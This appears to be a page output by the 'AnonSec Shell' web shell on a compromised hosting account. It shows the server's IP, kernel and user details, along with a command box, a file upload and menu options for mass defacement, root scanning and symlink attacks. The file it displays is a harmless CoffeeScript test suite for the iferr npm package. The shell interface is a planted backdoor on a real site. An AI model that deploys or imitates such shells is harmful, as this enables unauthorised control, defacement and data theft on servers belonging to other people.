AnonSec Shell
Server IP : 162.213.251.212  /  Your IP : 18.117.225.254   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : allssztx ( 535)
PHP Version : 8.1.31
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/home/allssztx/public_html/easybuyer/node_modules/iferr/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/self/root/home/allssztx/public_html/easybuyer/node_modules/iferr/test/index.coffee
{ iferr, tiferr, throwerr } = require '../index.coffee'
{ equal: eq, throws } = require 'assert'

invoke_fail = (cb) -> cb new Error 'callback error'
invoke_succ = (cb) -> cb null
throw_error = -> throw new Error 'thrown'

describe 'iferr', ->
  it 'calls the error callback on errors', (done) ->
    invoke_fail iferr(
      (err) ->
        eq err.message, 'callback error'
        do done
      ->
        done new Error 'shouldn\'t call the success callback'
    )

  it 'calls the success callback on success', (done) ->
    invoke_succ iferr(
      -> done new Error 'shouldn\'t call the error callback'
      done
    )

describe 'tiferr', ->
  it 'catches errors in the success callback', (done) ->
    invoke_succ tiferr(
      (err) ->
        eq err.message, 'thrown'
        do done
      throw_error
    )

describe 'throwerr', ->
  it 'throws errors passed to the callback', (done)->
    try invoke_fail throwerr ->
      done 'shouldn\'t call the success callback'
    catch err
      eq err.message, 'callback error'
      do done

  it 'delegates to the success callback otherwise', (done) ->
    invoke_succ throwerr done

Anon7 - 2022
AnonSec Team